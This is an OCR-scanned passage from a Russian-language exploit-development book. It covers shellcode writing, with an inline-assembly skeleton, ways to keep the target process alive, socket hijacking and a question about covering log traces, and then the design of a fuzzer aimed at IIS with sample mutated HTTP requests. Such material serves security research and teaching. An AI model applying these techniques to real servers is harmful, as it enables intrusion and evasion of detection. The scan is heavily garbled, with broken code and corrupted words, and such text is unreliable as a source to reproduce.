Tricks» (Michel MaXX Kaempf, raaxx@synnergy.net); журпа/i «Phrack», BhinvcK 57, статья 8. www.phrack.org/show.php?p=57&a^8 » <)( новы целочисленного переполнения: Kisic Integer Overflows» (blexim); журчал «Phrack», выпуск 60, статья К). www. phrack.org/show.php?p=60&a-=10 • < )< моиы форматных прок: • « Format String Attacks» (Tim Ncwsham). www.lava.net/~newsham/format~stnng-attacks.pdf
204 Глава 10. Формирование рабочей среды • «Exploiting Format String Vulnerabilities» (scut). www.team-teso.net/articles/formatstring/ • «Advances in Format String Exploitation» (Gera, Riq); журнал «Phrack* выпуск 59, статья 7. www.phrack.org/show.php?p=59&a=7 о Шифрование и его альтернативы: • «Writing ia32 Alphanumeric Shellcodes» (rix); журнал «Phrack», выпуск 57 статья 15. www. phrack. org/show.php?p=57&a=15 • «Creating Arbitrary Shellcode in Unicode Expanded Strings» (Chris Anley). www.nextgenss.com/papers/unicodebo.pdf о Трассировка и мониторинг: • «Tracing activity in Windows NT/2000/XP». Программа трассировки VTrac* (вводная статья). http://msdn.microsoft.com/msdnmag/issues/1000/VTrace/. • «Interception of Win32 API Calls» (MS Research Paper). www.research.microsoft.com/sn/detours/. • «Writing [a] Linux Kernel Keylogger» (rd); журнал «Phrack», выпуск 59, статья 14. www. phrack. org/show.php?p=59&a=14 • «Hacking the Linux Kernel Network Stack» (bioforge); журнал «Phrack», выпуск 61, статья 13. www. phrack. org/show.php?p=61&a=13 • «.ida Code Red Worm analysis» (Ryan Permeh, Marc Maiffret). www.eeye.com/html/Research/Advisories/AL20010717.htmL Архивы Ниже перечислены архивы полезных статей. В них встречаются ссылки на мпо* гие из упоминавшихся статей, а также на другие полезные тексты. о http://julianor.tripod.com/bufo.html; о http://packetstormsecurity.nl/papers/unix/; о www.lsd-pl.net/papers.html. Оптимизация процесса разработки внедряемого кода Написание вашего первого :жсплойта несомненно будет сложным и утоми геи, ным. По мере накопления опыта вы научитесь оптпмпзпрова 11. различные зада чп, и это позво/шт сокраш'гь время между обнаружением лгфгма и созданием
Ошимизация процесса разработки вмодряомого кода 205 Iпитого эксплойта. В этом разделе мы попытаемся составить короткое и помятое руководство по оптимизации разработки. Конечно, лучший способ ускорить разработку — вообще обойтись без внедряемою кода и использовать вместо него системную функцию или проглет (proglet). Тем не менее, в большинстве случаев простые статические решения реализуют- ( и проще всего, поэтому давайте поговорим о том, как их оптимизировать и гю- мыгп п> их качество. Планирование Прежде чем бросаться за написание кода, желательно составить твердый план лгисгиий но эксплуатации уязвимости. В случае простейшего переполнения и пеке на платформе Windows план может выглядеть так (в зависимости от мяо, как лично вы подходите к решению такого рода задач): I Определение смещения байтов, которое перезаписывает адрес возврата. ',' Определение местонахождения кода по отношению к регистрам. (Не указывает ли регистр ESP на наш буфер? А другие регистры?) !1. Поиск подходящей команды jmp/caU <регистр> для конкретной версии продукта или разных версий Windows и обновлений Service Pack. 1 Создание небольшого тестового внедряемого кода для проверки возможных недостатков. !> Ксли недостатки обнаруживаются, в код вставляются команды jmp для обхода некорректных фрагментов. Встроенный ассемблер 11;шпсание эксплойта на встроенном ассемблере экономит массу времени. В большинстве опубликованных решений приводятся малопонятные последовательности шестпадцатсричных байтов, закодированных в виде строковых констант и.ипка С. Это усложняет вашу задачу, если вдруг потребуется вставить команду jmp для обхода поврежденной части стека или внесения несложных модификаций. Попробуйте использовать вместо С-констант конструкции следующего вида (приведен код для Visual C++, но аналогичная методика работает /Iля gcc): char *sploit() ( asm { , Возврат адреса начала кода jmp get_sploit <ieL_sploit_fn pop oax jmp got_sploit <jel sploit call get_sploit_fn , Занесение текущего адреса в еах Н«1Ч()ло впедрчемш о кода
206 Глава 10. Формирование рабочей среды jmp get_eip get_eip_fn pop edx jmp got_eip get_eip: call get_eip_fn ; Занесение текущего адреса в edx call_get_proc_address: mov ebx, 0x01475533 . идентификатор loadlibrary sub ebx, 0x01010101 mov ecx. dword ptr [ebx] и т. д. Подобная методика программирования обладает рядом достоинств: о Ассемблерный код легко комментируется; это поможет модифицировать внедряемый код полгода спустя, о Вы можете отладить внедряемый код и протестировать его, расставить комментарии и контрольные точки, без непосредственной эксплуатации уязвимости. о Вы можете легко копировать и вставлять внедряемый код из готовых экс- плойтов. о Вам не нужно прибегать к сложным операциям копирования и вставки каждый раз, когда потребуется изменить исходный код, — достаточно будет изменить ассемблерные команды и запустить программу. Конечно, при использовании встроенного ассемблера потребуется способ определения объема внедряемого кода. Одно из возможных решений — не применять команды, содержащие нулевые байты, а затем вставить в конец внедряемого кода команду add byte ptr [eax],al Команда ассемблируется в два нулевых байта. После этого для определения объема внедряемого кода в управляющей программе достаточно воспользоваться функцией strlen. Библиотеки встроенного кода Как известно, самый быстрый способ написать программный код -- скопировать его из другого, уже работающего кода. При написании внедряемого кода не так уж важно, кто был автором оригинала, вы пли кто-го другой; главное, чтобы вы точно понимали суть происходящего. Если вы не понимаете, как работает та или иная программа, ю скорее всего, в долгосрочной перспективе вам будет проще написать свой код для решения задачи, потому чт его будет проще изменить. Вероятно, после написания нескольких работоспособных эксплойтов вы начнете использовать одни и те же общие схемы, но под рукой всегда полезно иметь другие, более сложные программы Просто преобразуйте фрагменты кода в фор му, обеспечивающую удобный поиск (например, в дерево каталогов с текстовыми файлами). Одна команда grep — и нужный код оказывается у вас перед ivia зам и.
Ошимизация процесса разработки внедряемого кода 207 Корректное продолжение Продолжение выполнения программы — исключительно сложная тема, однако ini.i яиляется ключом к написанию качественных эксплоитов. Далее приводятся некоторые рекомендации и другая полезная информация. > Если вы завершаете целевой процесс, перезапускается ли он? Если перезапускается, вызовите функцию exit(), ExitProcessQ или TerminateProcess() в Windows. • > Мели вы завершаете целевой программный поток, перезапускается ли он? Если перезапускается, вызовите функцию ExitThread() или TerminateThreadQ ими другую эквивалентную функцию. Этот метод очень хорошо работает при эксплуатации уязвимостей СУБД, потому что они обычно поддерживают пулы рабочих потоков (в частности, это относится к Oracle и SQL Server). • > Мели вы используете переполнение в куче, можно ли восстановить кучу? Задача не из простых, но в книге приводился ряд полезных рекомендаций. И оiношении восстановления перехваченного управления возможен ряд аль- |грнатив: •> Обработчики исключений. Вспомните хорошее правило: проще всего написать тот код, который писать не надо. Для начала стоит проверить обработчики исключений. Если целевой процесс уже обладает полноценным обработчиком, который выполняет всю завершающие действия и осуществляет перезапуск, почему бы не вызвать его напрямую или при помощи спровоцированного исключения? > Восстановление стека и возврат к родителю. Этот метод не из простых — вероятно, в стеке присутствует информация, которую не удастся получить простым поиском в памяти. Тем не менее, в некоторых ситуациях он возможен. Его преимущество заключается в том, что он способен гарантировать отсутствие утечки ресурсов. Вы находите части стека, перезаписанные при перехвате управления, возвращаете им прежние значения и выполняете команду ret. <> Возврат к предку. Обычно реализация этого метода основана на занесении константы в стек с последующим вызове ret. Если проанализировать стек вызовов на стадии перехвата управления, вероятно, в цепочке вызовов удастся найги какую-нибудь точку, в которой можно будет выполнить команду ret без проблем. В частности, такое решение хорошо работает с дефектом SQL-UDP (эта ошибка использовалась червем SQL Slammer). Вероятно, это при веде! к утечке ресурсов. ¦ > Вызов предка. В случае крайней необходимости можно просто вызвать процедуру, расположенную выше в цепочке вызовов, например, процедуру глав пого потока. В некоторых приложениях такой прием нормально работает. Недостаток — вероятность утечки ресурсов (сокетов, памяти, файловых идентификаторов), которая позднее может нарушить стабильность работ программы.
208 Глава 10. Формирование рабочей среды Стабильность Когда внедряемый код заработает, стоит задать себе несколько вопросов, кото! рые помогут определить, нужно ли продолжать работу и пытаться сделать puj шение более стабильным. Вашей целью доллсны быть полноценные решения работающие в любой среде и не воздействующие на целевой хост непредусмот] ренным вами образом. Это не только полезно «по общим соображениям», ltd и поможет сократить общее время разработки. Если вы хорошо справитесь с \щ ботой с первого раза, вам не придется постоянно возвращаться к программе при возникновении очередной проблемы. Возможно, вы захотите включить в этот список несколько собственных иоч просов. о Можно ли запустить ваш эксплойт на хосте более одного раза? о Если оформить эксплойт в виде сценария и многократно запустить его nil одном хосте, произойдет ли сбой на каком-то этапе? Почему? о Можно ли запустить несколько копий эксплоита на одном хосте одновре< менно? о Если решение предназначено для платформы Windows, будет ли оно рабо1 тать во всех версиях систем и обновлений Service Pack? о Работает ли эксплойт в других ОС семейства Windows? NT/2000/XP/2003? о Если эксплойт написан для Linux, будет ли он работать в разных дистрибу* тивах? о Должны ли пользователи вводить смещения для того, чтобы код работал?! Если да, возможно, вам стоит жестко закодировать набор смещений для расч пространенных платформ и предоставить пользователю возможность выбич рать их по легко запоминающимся именам. Или еще лучше: задействуйте та» кую методику, при которой код в меньшей степени зависел бы от конкретной платформы (например, получайте адреса LoadLibrary и GetProcAddress из РЕ~;щ«] головка в Windows, обойдите особенности конкретных дистрибутивов Linux). о Что произойдет, если на целевом хосте работает хорошо настроенный брандмауэр? Не приведет ли ваш эксплойт к «зависанию» целевого демона, если набор правил IPTables или (в Windows) IPSec заблокирует подключение? о В каких журналах останутся следы активности вашего эксплоита, и нель:ш ли эти следы замести? Перехват подключения Если вы эксплуатируете дефект в удаленном режиме (а если нет, то почему?), лучше использовать основное подключение многократно (для других целей), Вот некоторые рекомендации: о Установите контрольные точки в основных функциях сокетов — accept, recv, reevfrom, send, sendto — и посмотрите, где хранится идентификатор сокеiл, Выделите идентификатор в своем внедряемом коде и ипю/и.зуГпе его Но.»
Итоги 209 можно, для этого придется задействовать конкретное смещение в стеке или ж ^пользоваться методом «грубой силы», вызвав функцию getpeername для определения сокета, с которым вы взаимодействуете. • » И Windows также стоит установить контрольные точки в ReadFile и WriteFile, i;ik как эти функции иногда используются с сокетами. > i 1;г ли вы не обладаете монопольным доступом к сокету, не сдавайтесь. Определите, как синхронизируется доступ к сокету, и попробуйте выполнить необходимые действия самостоятельно. Например, в Windows целевой процесс, иероятно, использует событие, семафор, мутекс или критическую секцию. И первых трех случаях программные потоки, скорее всего, будут вызывать WaitForSingleObject(Ex) или WaitForMultipleObjects(Ex), а в последнем случае они должны вызывать EnterCriticalSection. Во всех перечисленных случаях по- с.пе определения идентификатора (или критической секции), которого ожидают все остальные, вы можете подождать своей очереди и корректно обой- шеь с другими потоками. Итоги И мои главе представлены утилиты, файлы и программы, используемые хаке- piiMii. Также в ней упоминаются некоторые полезные статьи, бесплатно распро- i ф;шмемые в Интернете.
ГЛАВА 11 Внесение ошибок Технологии внесения ошибок (fault injection) уже более полувека применяются для проверки отказоустойчивости аппаратных устройств: механики автомашин, двигателей самолетов и даже нагревательных элементов кофеварок. В таких системах для внесения ошибок используются контакты микросхем, электромагнитные импульсы, перепады напряжения, а иногда даже радиация. В наши дни все крупные производители оборудования в процессе тестирования задействуют те или иные разновидности систем внесения ошибок. По мере перехода от аналоговых технологий к цифровым объем используемого программного обеспечения растет по экспоненте. Возникает резонный вопрос: какие существуют средства проверки надежности программ? В течение последнего десятилетия был разработан ряд технологий внесения ошибок для выявления серьезных проблем в коммерческих программных продуктах. Многие из этих программных систем были созданы на средства нескольких исследовательских проектов, спонсорами которых были Управление морских исследований (Office of Naval Research, ONR), Управление перспективных исследовательских программ (Defense Advanced Research Project Agency, DARPA), Национальный научный фонд (National Science Foundation, NSF) и компания DEC (Digital Equipment Corporation). Программные системы внесения ошибок - такие, как DEPEND, DOCTOR, Xception, FERRARI, FINE, FIST, ORCHESTRA, MENDOSUS и ProFI — продемонстрировали, что технологии внесения ошибок позволяют успешно выявлять разнообразные недостатки коммерческих программ. При разработке некоторых из перечисленных технологий преследовалась одна цель — предоставить сообществу разработчиков средства для проверки отказоустойчивости программных продуктов. Лишь немногие решения в общественном и частном секторах разрабатывались специально для поиска дефектов безопасности в программных продуктах. Но в современном мире безопасность с каждым днем играет все более важную роль, поэтому и потребность в технологиях, обеспечивающих ее повышение в программных продуктах, постоянно растет. Специалисты по обеспечению качества (Quality Assurance, QA) используют средства проверки oi казоустойчпвости в своей повседневно!! работе для поиска потенциальных слабых мест Одним из самых полезных навыков у спецпати- стов такого рода является умение интегрировать средства автоматизации в свой инструментарий. Специалист по безопасности программного обеспечения мо-
Архитектура 211 же i узнать много полезного из современных технологий обеспечения качества. Самые талантливые полагаются на методы ручного анализа (в первую очередь -- это реконструкция и анализ исходных текстов) для выявления потенциальных проблем безопасности в программных продуктах. Впрочем, при всей полезности, если не обязательности, этих навыков для квалифицированного специалиста, умение применять автоматизированные технологии тоже играет очень важную роль. Используя знания, полученные на стадии реконструкции, аналитик может быстро настроить свое приложение для автоматического тес- шрования, пока он будет заниматься другими делами. Такая «многозадачность» позволяет аналитикам достаточно быстро выполнять работу сотен, если не тысяч, специалистов. Один из самых лучших аспектов проверки отказоустойчивости заключается и том, что каждая ошибка, допущенная па стадии разработки решения, может способствовать успеху тестирования. Если бы вы составили список всех про- i раммных ошибок, допущенных вами за сколько-нибудь продолжительный промежуток времени, а затем построили тест для каждой ошибки в тестовом приложении, то затем вам без проблем удалось бы взломать большинство коммерческих серверных программных продуктов. Написание программ, основанных на технологиях внесения ошибок, стимулирует изучение классов атак до такой глубины, что вы начинаете понимать их на юраздо более простом уровне. С каждым новым классом атаки (изученным или обнаруженным самостоятельно) вы узнаете новые приемы и методы, которые помогают разобраться в других классах. А самое приятное — автоматизация позволяет обнаруживать зияющие бреши в защите в то время, пока вы мирно спите. В этой главе мы спроектируем и реализуем программу внесения ошибок для поиска дефектов безопасности в сетевых серверных программных продуктах на базе протоколов прикладного уровня. Эта система, которую мы назовем RIOT, имеет много общего с системой, спроектированной в январе 2000 г. и использовавшейся для выявления многих известных уязвимостей — таких как уязвимости, использовавшиеся вирусом Code Red. Чтобы продемонстрировать эффективность системы RIOT, мы с ее помощью попытаемся выявить некоторые дефекты безопасности в Microsoft Internet Information Server (IIS) 5.0. Архитектура Основные компоненты нашей системы внесения ошибок показаны па рис. 11.1. Представленная логическая структура характерна для многих систем такого рода. В этой главе мы подробно рассмотрим каждый из компонентов, а потом объединим все компоненты и построим RIOT. Генератор входных данных Существуют различные способы сбора входных данных нашей системы. В этом разделе упоминаются некоторые из них, но, как вы вскоре убедитесь, этот список далеко не полон. Входные данные Moryi делиться па серии тестов. Объем
212 Глава 11. Внесение ошибок 2. Используя анализатор пакетов, перехватываем клиентский сетевой трафик в процессе пересылки по сети на сервер Клиентская программа Модель внесения сбоев RIOT 3. Аналитик выбирает серию входных данных из сохраненных пакетов и передает их механизму внесения сбоев на сервер Внесение4 сбоев Аналитик 4. Внесение сбоев в сохраненный клиентский ввод и передача данных серверному программному пакету Обмен данными между клиентом и сервером Серверная программа 1. Генерируем сетевой трафик, взаимодействуя с сервером из клиентского программного пакета Как правило, взаимодействие клиента с сервером осуществляется по таким сетевым протоколам, как HTTP, SMTP, FTP, IMAP и РОРЗ 5. Используя модуль отслеживания сбоев, перехватываем исключения, сгенерированные в целевой программе Рис. 11.1. Модель внесения ошибок RIOT и тин данных определяют, какие тесты будут выполняться с этими данными,] Хотя сбор входных данных может осуществляться независимо от их типа, эф-j фективность выявления дефектов в целевой программе заметно возрастает при| передаче входных данных, использовавшихся для взаимодействия с эзотерическими и непротестированными функциями программы. В наших примерах внимание будет сосредоточено на входных данных прикладного протокола. Сбор входных данных начнется с сохранения сетевого трафика сеансов браузера на реально работающем веб-сервере. Предположим, при мониторинге трафика в локальной сети был сохранен следующий клиентский запрос: GET /search ida?group=kuroto&q=riot HTTP/1 1 Accept. */* Accept-Language en-us Accept-Encoding gzip, deflate User-Agent Mozilla/4 0 Host- 192 168 1 1 Connection Keep-Alive Cookie ASPSESSIONISQNNNNTEG=ODDDDIOANNCXXXXIIMGLLNNG Любой, кто хоть немного разбирается в протоколе ННТР, заметит, что .ida не является стандартным расширением файла. После проведения небольшого исследования в поисковой системе выясняется, что это расширение является частью плохо документированного инструмента, доступ к которому осуществляется через фильтр ISAPI, устанавливаемый со многими версиями веб-сервера IIS.
Архитектура 213 ПРИМЕЧАНИЕ Гели вы столкнулись с малопонятным и трудным в использовании инструмен- юм — перед вами отличная отправная точка для поиска проблем безопасности. Если вам кажется, что этот инструмент не соответствует функциональности про- i раммы в целом, скорее всего, разработчики и тестеры отнеслись к нему точно !акже. Приведенный фрагмент передается компоненту нашего тестового приложения, Miшмающемуся внесением ошибок. Этот компонент модифицирует входные /иммыс, включая в них недопустимые или непредвиденные символы. Спектр проводимых тестов в значительной степени зависит как от специфики входных длимых, передаваемых компоненту, так и от их качества. Если передавать со- мгршспно недопустимые входные данные, то большая часть времени будет по- флчена на анализ функций обработки ошибок в целевом приложении, поэтому не жалейте времени на тщательный подбор входных данных. В зависимости от объема входных данных иногда стоит также вручную проверить их качество перед началом полномасштабного тестирования. Существуют различные методы сбора входных данных, передаваемых системе внесения ошибок. Выбранный метод (или комбинация методов) зависит от мша проводимых тестов. Ручной ввод Ручной ввод входных данных требует больших затрат времени/ но обычно обеспечивает наилучшие результаты. Входные данные создаются в редакторе, при лом каждый тест сохраняется в каталоге в виде отдельного файла. В программу включается простая функция, которая просматривает каталог и загружает каждый тест, после чего поочередно передает тесты компоненту внесения ошибок. В частности, именно этот метод используется в системе RIOT. Кроме того, сохраненные входные данные можно занести в базу данных или включить их непосредственно в приложение. Хранение данных в файле избавляет нас от хлопот с построением специализированных структур данных для их упорядочения, хранения информации о размерах и обработки. Автоматическое генерирование Для простых протоколов (таких, как HTTP) входные данные могут генерироваться автоматически. Для этого достаточно проанализировать протокол и спроектировать алгоритм, генерирующий потенциальные входные данные. Генерирование входных данных особенно полезно в ситуациях, когда требуется проанализировать различные аспекты поведения протокола, но вводить данные вручную малоэффективно. Практический опыт показал, что автоматически сгенерированные входные данные хорошо подходят для простых протоколов с очень надежной структурой (например, для большинства прикладных протоколов). При работе с протоколами в большей степени динамическими, обладающими несколькими уровнями и состояниями, автоматическое генерирование оказывается неоптимальным. Ошибка в сгенерированных данных может
214 Глава 11. Внесение ошибок проявиться лишь спустя несколько часов после начала тестирования. Если пь\ не будете тщательно проверять данные в процессе генерирования, проблема останется незамеченной. Оперативное сохранение Некоторые системы (такие, как ORCHESTRA) позволяют вносить ошибки не* посредственно в процесс взаимодействия. Этот метод чрезвычайно эффективен при тестировании сложных протоколов с поддержкой состояния. Его единственным недостатком является необходимость описания протокола, чтобы вносимые изменения гарантировали успешную доставку. Например, с изменением] размера поля данных внутри протокольного сообщения вам, возможно, также придется в соответствии с внесенными изменениями обновить различные поли с данными о размерах. В частности, разработчики ORCHESTRA использовали протокольные заглушки (protocol stubs) для определения необходимых характеристик протоколов. Генерирование шума В конце 80-х — начале 90-х годов грое ученых — Бартон Миллер (Barton Miller), Ларе Фредриксен (Lars Fredriksen) и Брайан Со (Bryan So) — исследовали устойчивость работы стандартных программ командной строки UNIX. Од-, нажды во время грозы один из них попытался работать со стандартными UNIX-утилитами через модемное подключение. Однако из-за шума на линии вместо данных, вводимых в командном процессоре, UNIX-программам передавались вроде бы случайные данные. Было замечено, что при попытке использования многие программы завершались аварийно, и причиной были эти случайные данные. На базе этого открытия трое ученых создали программу fuzz, которая генерировала псевдослучайные входные данные, предназначенные для тестирования устойчивости приложений. Шумогенераторы (фаззеры) стали частью многих систем внесения ошибок. За дополнительной информацией по этой теме обращайтесь к архиву ftp://grUled.cs.wisc.edu/fuzz. Многие специалисты считают, что пользоваться фаззером — все равно что стрелять по летучим мышам в полной темноте. Тем не менее, в процессе работы над проектом fuzz трое исследователей сталкивались и с переполнением буферов, и с целочисленным переполнением, и с дефектами форматных строк, и с общими проблемами синтаксического разбора в широком спекiре приложений. Следует заметить, что некоторые из этих классов а гак получили широкую известность и признание лишь спустя 10 лет. Внесение ошибок В предыдущем разделе были перечислены методы получения входных данных, используемых компонентом внесения ошибок. В этом разделе мы поговорим об изменениях, которые вносятся в собранные /цшные для провоцирования сбоев (например, исключений) в тестируемом приложении.
Архитектура 215 Именно эта фаза процесса в конечном счете является определяющей. Если ме- И)Д|>| сбора входных данных остаются более или менее одинаковыми, методы шигепия ошибок и их типы заметно отличаются. Некоторые системы внесения шппбок требуют доступа к исходным текстам — это позволяет вносить изменения в тестируемую программу, чтобы аналитик мог собирать информацию во иремя выполнения. Поскольку наша система RIOT ориентирована на приложения с закрытыми исходными текстами, никакие изменения в приложении и принципе невозможны; мы будем изменять только входные данные, переда- иаемые целевому приложению. Механизм модификации После того как собранные входные данные будут обработаны и переданы механизму модификации, можно приступать к внесению ошибок. В памяти должна чраниться эталонная копия входных данных; на каждой итерации мы загружаем, изменяем данные и передаем их тестируемой программе. В такой схеме итерация представляет собой простую последовательность из внесения ошибки и передачи модифицированных входных данных целевому приложению. Пример механизма модификации, прилагаемый к книге (www.wiley.com/compbooks/ kozioL), предназначен в первую очередь для выявления уязвимостсй, связанных с переполнением буфера. Он разбивает входной поток на элементы, вносит ошибку в каждый элемент (в данном случае — это буфер данных переменной длины) и отправляет его целевому приложению. Используемый нами механизм модификации отличается от других систем, разработанных ранее. Вместо про- < юга последовательного ввода наш механизм будет анализировать входные данные и в зависимости от их типа определять, куда они должны вводиться. Кроме того, он будет имитировать только такие ошибки, которые соответствуют сопутствующим данным, чтобы в процессе тестирования наш ввод не был заблокирован стандартными схемами проверки вводимых данных. Эти и другие различия существенно повышают эффективность тестирования. Коли вам когда-либо доводилось работать над программой внесения ошибок, вероятно, алгоритм сводился к последовательному перебору данных, внесению ошибок и передаче данных целевому приложению. Без оптимизации логики внесения ошибок сеансы тестирования обычно занимают /довольно много времени, и в них выполняется множество лишних тестов. Небольшие изменения и логике внесения ошибок позволят существенно сократить количество проводимых гестов. Возьмем следующий входной поток: GET /index html HTTP/1 1 host test com Предположим, тестирование только началось, и текущая позиция находится перед первым байтом метода HTTP (символ G). При первой итерации мы вносим ошибку в этой позиции и передаем измененные входные данные получателю. После передачи данных мы вносим следующую ошибку в этой же позиции и передаем новый вариант модифицированных входных данных. Процесс продолжается до тех пор, пока не будут перебраны все возможные ошибки. На следующем шаге текущая позиция перемещается па один символ, то есть ко второму
216 Глава 11. Вмосонио ошибок байту метода HTTP (символ Е). Здесь снова последовательно вносятся все воЭ1 можные ошибки, как это было сделано в предыдущей позиции. Другими с леи вами, в каждой позиции вносятся все возможные ошибки. Таким образом пси лучается, что если имеется 10 наборов входных данных, каждый из которых со^ держит 5000 возможных позиций, и механизм модификации поддерживае^ 1000 разновидностей ошибок, то тестирование завершится в далеком будущем! когда появятся летающие автомобили. Вместо того чтобы последовательно вносить ошибки в весь входной поток, miA разделим данные на элементы. Далее ошибки будут вноситься с изменением смещения по отношению к каждому элементу, вместо единого смещения для всего набора входных данных. В предыдущем примере входной поток состой! из имени метода, URI, версии протокола, имени заголовка и значения заголовн ка. Чтобы продолжить разбиение, можно выделить расширение URL, основной и дополнительный номера версий протокола, и даже код страны или корневой DNS-сервер. Ручная организация поддержки всех элементов каждого протокол ла, который мы собираемся протестировать, — воистину ужасная задача. К сча* стыо, существует гораздо более простой способ. Ограничители При разработке систем анализа данных программисты крайне редко используют маркеры, входящие в алфавитный или цифровой набор. В качестве маркеров обычно выбираются символы, имеющие наглядное визуальное представление, такие как # или $. Для пояснения сказанного рассмотрим следующую конструкцию. Если бы для разделения основной и дополнительной версий протокола использовался символ 1, то невозможно было бы определить номер версии в следующем входном потоке: GET /index html HTTP/111 Если применять алфавитно-цифровые символы для разделения полей, как отделить их от самих данных? Для этого нужны служебные символы, такие как символ . (точка): GET /index html HTTP/1 1 Разделение элементов является основой для любого взаимодействия. Представьте, как трудно будет читать эту главу, если удалить из нее все символы, кроме алфавитно-цифровых — ни пробелов, ни точек, ни запятых... ничего, кроме букв и цифр. Замечательное свойство человеческого разума заключается в том, что мы принимаем решения на основании жизненного опыта, так что в принципе мы можем даже по неорганизованной мешанине символов быстро определить, какие данные являются действительными, а какие — нет. К сожалению, компьютерные программы не столь разумны, и для взаимодействия с ними данные должны быть отформатированы по стандартам соответствующих протоколов. Форматирование данных в прикладных протоколах в значительной мере основано на концепции ограничителей - как правило, это печатные ASClI-симво-
Архитектура 217 мы, которые не являются алфавитно-цифровыми. Возьмем тот же входной помпе, по на этот раз экранируем служебные символы префиксом \ (обратный < мни): (il I /index html HTTP/1 l\r\nHost- test com\r\n\r\n (обратите внимание: элементы входного потока также ограничиваются служебными символами. Имя метода ограничивается пробелами, URI — тоже пробелами, имя протокола — слешем, основная версия — точкой, дополнительная версия комбинацией символов возврата каретки и перевода строки; имя заголовка двоеточием, после чего следует значение заголовка, ограничиваемое двумя символами возврата каретки и перевода строки. Следовательно, просто вводя ошибочные символы рядом со специальными символами входного потока, мы сможем протестировать практически каждый элемент протокола, ничего не шля о нем. Ошибочные символы должны вставляться до и после специальных символов, чтобы не возникало проблем с контролем присваивания или границ выражений в нашем входном потоке. Далее приводятся примеры входных потоков, полученных в результате десяти in граций с использованием ошибочной комбинации EEYE2003. Последовательное внесение ошибок: EEYE2003GET /index.html HTTP/1 l\r\nHost test com\r\n\r\n GEEYE2003ET /index html HTTP/1 l\r\nHost test com\r\n\r\n GEEEYE2003T /index html HTTP/1 l\r\nHost test com\r\n\r\n GETEEYE2003 /index html HTTP/1 l\r\nHost test com\r\n\r\n GETEEYE2003 /index html HTTP/1 l\r\nHost test com\r\n\r\n GET EEYE2003/index html HTTP/1 l\r\nHost 'test com\r\n\r\n GET /EEYE2003index html HTTP/1 l\r\nHost test com\r\n\r\n Внесение ошибок с использованием логики ограничителей: GETEEYE2003 /index html HTTP/1 l\r\nHost. test com\r\n\r\n GET EEYE2003/index html HTTP/1 l\r\nHost test com\r\n\r\n GET EEYE2003/index html HTTP/1 l\r\nHost: test com\r\n\r\n GET /EEYE2003index html HTTP/1 l\r\nHost test com\r\n\r\n GET /indexEEYE2003 html HTTP/1 l\r\nHost test com\r\n\r\n GET /index EEYE2003html HTTP/1 l\r\nhlost test com\r\n\r\n GET /index htmlEEYE2003 HTTP/1 l\r\nHost- test com\r\n\r\n GET /index html EEYE2003HTTP/1 l\r\nHost test com\r\n\r\n GET /index html HTTPEEYE2003/1 l\r\nHost test com\r\n\r\n GET /index html HTTP/EEYE20031 l\r\nHost test com\r\n\r\n Повышение эффективности очевидно даже для этого небольшого потока. В системе с несколькими тысячами потоков данных (в среднем) и практически неограниченным количеством возможных ошибок, оптимизация сэкономит недели и месяцы, если не годы тестирования. Написать программу, которая найдет дефект безопасности за несколько лет, может каждый; и лишь немногие могут написать программу, справляющуюся с этой работой за пять минут. Обход системы проверки вводимых данных Итак, мы выяснили, где следует вводить ошибочные символы. Теперь поговорим о том, как именно они должны выглядеть. Допустим, что в своем первом механизме модификации, направленном па выявление уязвимое!ей, связанных
218 Глава 1 1. Внесение ошибок с переполнением буфера, мы ограничимся одной разновидностью ошибки, представляющей собой 1024-байтовый буфер, заполненный символом X. Даже эта единственная разновидность ошибки может выявить некоторые проблемы в программном пакете, но это крайне маловероятно из-за ограниченности его размера и содержимого. Если нам не удастся провести данные с введенными ошибками через начальные процедуры проверки вводимых данных, большая часть времени тестов окажется потраченной вхолостую - вводимые данные будут попросту отвергаться функциями обработки ошибок. Обычно целевое приложение ограничивает исходный размер каждого элемента нашего протокола. Например, размер имени метода HTTP может быть ограничен 128 символами, хотя позднее имя метода выделяется из входного потока и копируется в статический буфер, размер которого составляет 32 байта. Поскольку размер вводимых ошибочных символов составляет 1024 байта (что значительно превышает предельные 128 байт), целевое приложение игнорирует поток ввода и возвращает сообщение об ошибке. Таким образом, паша ошибочная последовательность никогда не окажется в уязвимом буфере. Мы могли бы перебрать разные размеры буфера -- например, от 1 до 1024 с приращением 1. Но если входной поток состоит из нескольких сотен элементов, в каждый из которых будет внесено до 1024 возможных ошибок, время тестирования может оказаться неприемлемо высоким. Следовательно, перебор автоматически сгенерированных размеров не является оптимальным решением. Когда вы имеете дело с приложениями, распространяемыми с закрытыми исходными текстами, часто можно много узнать по тому, как разработчики реализовали некоторые структуры данных, например, по выбранным ими размерам буферов. Скажем, при тестировании HTTP-сервера можно попробовав проанализировать исходные тексты нескольких пакетов с открытыми исходными текстами, таких как Apache, Sendmail и Samba. Поиск в исходных текстах поможет выяснить наиболее распространенные размеры буферов. Оказывается, в большинстве случаев размер буфера представляет собой степень 2, начиная с 32 — 32, 64, 128, 256, 512, 1024 и т. д. Также часто используются степени 10. В остальных случаях применяется та же схема, по с прибавлением пли вычитанием некоторого числа (как правило, находящегося в интервале от 1 до 20). Па основании этой статистики строится таблица размеров буферов, с наибольшей вероятностью приводящих к переполнению. Добавьте небольшое приращение до и после этих размеров, чтобы учесть возможные погрешности при объявлении переменных. Эффективный метод подтверждения качества данных после внесения ошибок заключается в тестировании программ, заведомо уязвимых в отношении переполнения буфера. По таблице размеров вы убеждаетесь в том, что входные данные позволяют воспроизвести каждое переполнение в целевой программе. Из 70 000 потенциальных возможностей внесения ошибок на один элемент протокола остается приблизительно 800. Коммерческие приложения часто проверяют данные перед тем, как передавать их своим внутренним процедурам. Такая проверка не является прямым результатом защитного стиля программирования, но она усложпяе1 выявление и эксплуатацию дефектов безопасности. Если мы хотим протестировать «темные
